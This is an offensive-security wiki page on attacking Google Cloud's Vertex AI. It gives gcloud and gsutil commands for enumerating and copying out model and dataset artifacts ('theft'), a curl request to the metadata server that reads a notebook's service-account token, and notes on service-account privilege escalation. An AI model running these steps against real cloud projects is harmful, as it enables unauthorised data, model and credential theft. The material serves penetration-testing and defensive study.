Vertex AI

Attacking Vertex AI: notebook and training-job service accounts, model and dataset theft, and pipeline execution.

1 منٹ کا مطالعہ7 اکتوبر، 2026 کو اپ ڈیٹ ہواflorianamette1 معاون
اپنے اسسٹنٹ سے پوچھیں (MCP)GitHub پر ترمیم کریں

Vertex AI is GCP's managed ML platform, and it is attacked two ways: for the data and models it holds (training datasets, tuned model artifacts in GCS), and as compute that runs under a service account. A managed notebook or a custom training job runs as an attached service account, so creating one is a deploy-as-service-account path, and the notebook's metadata server hands out that account's token.

Model and dataset theft#

bash
gcloud ai models list --region <region>
gcloud ai models upload --help     # (inverse: export/download artifacts from the model's GCS URI)
gsutil -m cp -r gs://<model-bucket>/ .      # pull the artifacts the model points at
gcloud ai datasets list --region <region>

Notebook as a service-account foothold#

bash
# a notebook runs as --service-account; from inside it, read the token
curl -s -H 'Metadata-Flavor: Google' \
  'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token'

Exploitation notes#

  • Creating a notebook or training job with a privileged --service-account is the privesc angle and is covered as actAs: Vertex AI notebook; this page is the data and model theft.
  • Model artifacts and training data live in GCS buckets; the Vertex objects point at them, so bucket access often shortcuts the whole service.

Tools#

  • gcloud (ai models, ai custom-jobs, notebooks instances).
  • gsutil: pull model and dataset artifacts from GCS.

References#